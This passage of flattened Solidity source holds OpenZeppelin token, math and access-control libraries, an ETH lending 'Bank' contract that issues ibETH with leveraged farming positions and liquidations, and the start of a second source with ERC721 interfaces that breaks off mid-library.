* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: openzeppelin-solidity-2.3.0/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// File: contracts/BankConfig.sol
pragma solidity 0.5.16;
interface BankConfig {
/// @dev Return minimum ETH debt size per position.
function minDebtSize() external view returns (uint256);
/// @dev Return the interest rate per second, using 1e18 as denom.
function getInterestRate(uint256 debt, uint256 floating) external view returns (uint256);
/// @dev Return the bps rate for reserve pool.
function getReservePoolBps() external view returns (uint256);
/// @dev Return the bps rate for Avada Kill caster.
function getKillBps() external view returns (uint256);
/// @dev Return whether the given address is a goblin.
function isGoblin(address goblin) external view returns (bool);
/// @dev Return whether the given goblin accepts more debt. Revert on non-goblin.
function acceptDebt(address goblin) external view returns (bool);
/// @dev Return the work factor for the goblin + ETH debt, using 1e4 as denom. Revert on non-goblin.
function workFactor(address goblin, uint256 debt) external view returns (uint256);
/// @dev Return the kill factor for the goblin + ETH debt, using 1e4 as denom. Revert on non-goblin.
function killFactor(address goblin, uint256 debt) external view returns (uint256);
}
// File: contracts/Goblin.sol
pragma solidity 0.5.16;
interface Goblin {
/// @dev Work on a (potentially new) position. Optionally send ETH back to Bank.
function work(uint256 id, address user, uint256 debt, bytes calldata data) external payable;
/// @dev Re-invest whatever the goblin is working on.
function reinvest() external;
/// @dev Return the amount of ETH wei to get back if we are to liquidate the position.
function health(uint256 id) external view returns (uint256);
/// @dev Liquidate the given position to ETH. Send all ETH back to Bank.
function liquidate(uint256 id) external;
}
// File: contracts/SafeToken.sol
pragma solidity 0.5.16;
interface ERC20Interface {
function balanceOf(address user) external view returns (uint256);
}
library SafeToken {
function myBalance(address token) internal view returns (uint256) {
return ERC20Interface(token).balanceOf(address(this));
}
function balanceOf(address token, address user) internal view returns (uint256) {
return ERC20Interface(token).balanceOf(user);
}
function safeApprove(address token, address to, uint256 value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeApprove");
}
function safeTransfer(address token, address to, uint256 value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeTransfer");
}
function safeTransferFrom(address token, address from, address to, uint256 value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeTransferFrom");
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call.value(value)(new bytes(0));
require(success, "!safeTransferETH");
}
}
// File: contracts/Bank.sol
pragma solidity 0.5.16;
contract Bank is ERC20, ReentrancyGuard, Ownable {
/// @notice Libraries
using SafeToken for address;
using SafeMath for uint256;
/// @notice Events
event AddDebt(uint256 indexed id, uint256 debtShare);
event RemoveDebt(uint256 indexed id, uint256 debtShare);
event Work(uint256 indexed id, uint256 loan);
event Kill(uint256 indexed id, address indexed killer, uint256 prize, uint256 left);
string public name = "Interest Bearing ETH";
string public symbol = "ibETH";
uint8 public decimals = 18;
struct Position {
address goblin;
address owner;
uint256 debtShare;
}
BankConfig public config;
mapping (uint256 => Position) public positions;
uint256 public nextPositionID = 1;
uint256 public glbDebtShare;
uint256 public glbDebtVal;
uint256 public lastAccrueTime;
uint256 public reservePool;
/// @dev Require that the caller must be an EOA account to avoid flash loans.
modifier onlyEOA() {
require(msg.sender == tx.origin, "not eoa");
_;
}
/// @dev Add more debt to the global debt pool.
modifier accrue(uint256 msgValue) {
if (now > lastAccrueTime) {
uint256 interest = pendingInterest(msgValue);
uint256 toReserve = interest.mul(config.getReservePoolBps()).div(10000);
reservePool = reservePool.add(toReserve);
glbDebtVal = glbDebtVal.add(interest);
lastAccrueTime = now;
}
_;
}
constructor(BankConfig _config) public {
config = _config;
lastAccrueTime = now;
}
/// @dev Return the pending interest that will be accrued in the next call.
/// @param msgValue Balance value to subtract off address(this).balance when called from payable functions.
function pendingInterest(uint256 msgValue) public view returns (uint256) {
if (now > lastAccrueTime) {
uint256 timePast = now.sub(lastAccrueTime);
uint256 balance = address(this).balance.sub(msgValue);
uint256 ratePerSec = config.getInterestRate(glbDebtVal, balance);
return ratePerSec.mul(glbDebtVal).mul(timePast).div(1e18);
} else {
return 0;
}
}
/// @dev Return the ETH debt value given the debt share. Be careful of unaccrued interests.
/// @param debtShare The debt share to be converted.
function debtShareToVal(uint256 debtShare) public view returns (uint256) {
if (glbDebtShare == 0) return debtShare; // When there's no share, 1 share = 1 val.
return debtShare.mul(glbDebtVal).div(glbDebtShare);
}
/// @dev Return the debt share for the given debt value. Be careful of unaccrued interests.
/// @param debtVal The debt value to be converted.
function debtValToShare(uint256 debtVal) public view returns (uint256) {
if (glbDebtShare == 0) return debtVal; // When there's no share, 1 share = 1 val.
return debtVal.mul(glbDebtShare).div(glbDebtVal);
}
/// @dev Return ETH value and debt of the given position. Be careful of unaccrued interests.
/// @param id The position ID to query.
function positionInfo(uint256 id) public view returns (uint256, uint256) {
Position storage pos = positions[id];
return (Goblin(pos.goblin).health(id), debtShareToVal(pos.debtShare));
}
/// @dev Return the total ETH entitled to the token holders. Be careful of unaccrued interests.
function totalETH() public view returns (uint256) {
return address(this).balance.add(glbDebtVal).sub(reservePool);
}
/// @dev Add more ETH to the bank. Hope to get some good returns.
function deposit() external payable accrue(msg.value) nonReentrant {
uint256 total = totalETH().sub(msg.value);
uint256 share = total == 0 ? msg.value : msg.value.mul(totalSupply()).div(total);
_mint(msg.sender, share);
}
/// @dev Withdraw ETH from the bank by burning the share tokens.
function withdraw(uint256 share) external accrue(0) nonReentrant {
uint256 amount = share.mul(totalETH()).div(totalSupply());
_burn(msg.sender, share);
SafeToken.safeTransferETH(msg.sender, amount);
}
/// @dev Create a new farming position to unlock your yield farming potential.
/// @param id The ID of the position to unlock the earning. Use ZERO for new position.
/// @param goblin The address of the authorized goblin to work for this position.
/// @param loan The amount of ETH to borrow from the pool.
/// @param maxReturn The max amount of ETH to return to the pool.
/// @param data The calldata to pass along to the goblin for more working context.
function work(uint256 id, address goblin, uint256 loan, uint256 maxReturn, bytes calldata data)
external payable
onlyEOA accrue(msg.value) nonReentrant
{
// 1. Sanity check the input position, or add a new position of ID is 0.
if (id == 0) {
id = nextPositionID++;
positions[id].goblin = goblin;
positions[id].owner = msg.sender;
} else {
require(id < nextPositionID, "bad position id");
require(positions[id].goblin == goblin, "bad position goblin");
require(positions[id].owner == msg.sender, "not position owner");
}
emit Work(id, loan);
// 2. Make sure the goblin can accept more debt and remove the existing debt.
require(config.isGoblin(goblin), "not a goblin");
require(loan == 0 || config.acceptDebt(goblin), "goblin not accept more debt");
uint256 debt = _removeDebt(id).add(loan);
// 3. Perform the actual work, using a new scope to avoid stack-too-deep errors.
uint256 back;
{
uint256 sendETH = msg.value.add(loan);
require(sendETH <= address(this).balance, "insufficient ETH in the bank");
uint256 beforeETH = address(this).balance.sub(sendETH);
Goblin(goblin).work.value(sendETH)(id, msg.sender, debt, data);
back = address(this).balance.sub(beforeETH);
}
// 4. Check and update position debt.
uint256 lessDebt = Math.min(debt, Math.min(back, maxReturn));
debt = debt.sub(lessDebt);
if (debt > 0) {
require(debt >= config.minDebtSize(), "too small debt size");
uint256 health = Goblin(goblin).health(id);
uint256 workFactor = config.workFactor(goblin, debt);
require(health.mul(workFactor) >= debt.mul(10000), "bad work factor");
_addDebt(id, debt);
} else {
require(Goblin(goblin).health(id) == 0, "zero debt but nonzero health");
}
// 5. Return excess ETH back.
if (back > lessDebt) SafeToken.safeTransferETH(msg.sender, back - lessDebt);
}
/// @dev Kill the given to the position. Liquidate it immediately if killFactor condition is met.
/// @param id The position ID to be killed.
function kill(uint256 id) external onlyEOA accrue(0) nonReentrant {
// 1. Verify that the position is eligible for liquidation.
Position storage pos = positions[id];
require(pos.debtShare > 0, "no debt");
uint256 debt = _removeDebt(id);
uint256 health = Goblin(pos.goblin).health(id);
uint256 killFactor = config.killFactor(pos.goblin, debt);
require(health.mul(killFactor) < debt.mul(10000), "can't liquidate");
// 2. Perform liquidation and compute the amount of ETH received.
uint256 beforeETH = address(this).balance;
Goblin(pos.goblin).liquidate(id);
uint256 back = address(this).balance.sub(beforeETH);
uint256 prize = back.mul(config.getKillBps()).div(10000);
uint256 rest = back.sub(prize);
// 3. Clear position debt and return funds to liquidator and position owner.
if (prize > 0) SafeToken.safeTransferETH(msg.sender, prize);
uint256 left = rest > debt ? rest - debt : 0;
if (left > 0) SafeToken.safeTransferETH(pos.owner, left);
emit Kill(id, msg.sender, prize, left);
}
/// @dev Internal function to add the given debt value to the given position.
function _addDebt(uint256 id, uint256 debtVal) internal {
Position storage pos = positions[id];
uint256 debtShare = debtValToShare(debtVal);
pos.debtShare = pos.debtShare.add(debtShare);
glbDebtShare = glbDebtShare.add(debtShare);
glbDebtVal = glbDebtVal.add(debtVal);
emit AddDebt(id, debtShare);
}
/// @dev Internal function to clear the debt of the given position. Return the debt value.
function _removeDebt(uint256 id) internal returns (uint256) {
Position storage pos = positions[id];
uint256 debtShare = pos.debtShare;
if (debtShare > 0) {
uint256 debtVal = debtShareToVal(debtShare);
pos.debtShare = 0;
glbDebtShare = glbDebtShare.sub(debtShare);
glbDebtVal = glbDebtVal.sub(debtVal);
emit RemoveDebt(id, debtShare);
return debtVal;
} else {
return 0;
}
}
/// @dev Update bank configuration to a new address. Must only be called by owner.
/// @param _config The new configurator address.
function updateConfig(BankConfig _config) external onlyOwner {
config = _config;
}
/// @dev Withdraw ETH reserve for underwater positions to the given address.
/// @param to The address to transfer ETH to.
/// @param value The number of ETH tokens to withdraw. Must not exceed `reservePool`.
function withdrawReserve(address to, uint256 value) external onlyOwner nonReentrant {
reservePool = reservePool.sub(value);
SafeToken.safeTransferETH(to, value);
}
/// @dev Reduce ETH reserve, effectively giving them to the depositors.
/// @param value The number of ETH reserve to reduce.
function reduceReserve(uint256 value) external onlyOwner {
reservePool = reservePool.sub(value);
}
/// @dev Recover ERC20 tokens that were accidentally sent to this smart contract.
/// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens.
/// @param to The address to send the tokens to.
/// @param value The number of tokens to transfer to `to`.
function recover(address token, address to, uint256 value) external onlyOwner nonReentrant {
token.safeTransfer(to, value);
}
/// @dev Fallback function to accept ETH. Goblins will send ETH back the pool.
function() external payable {}
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/**
*Submitted for verification at Etherscan.io on 2021-10-18
*/
/**
*Submitted for verification at Etherscan.io on 2021-09-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
// Sources flattened with hardhat v2.4.3 https://hardhat.org
// File @openzeppelin/contracts/utils/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
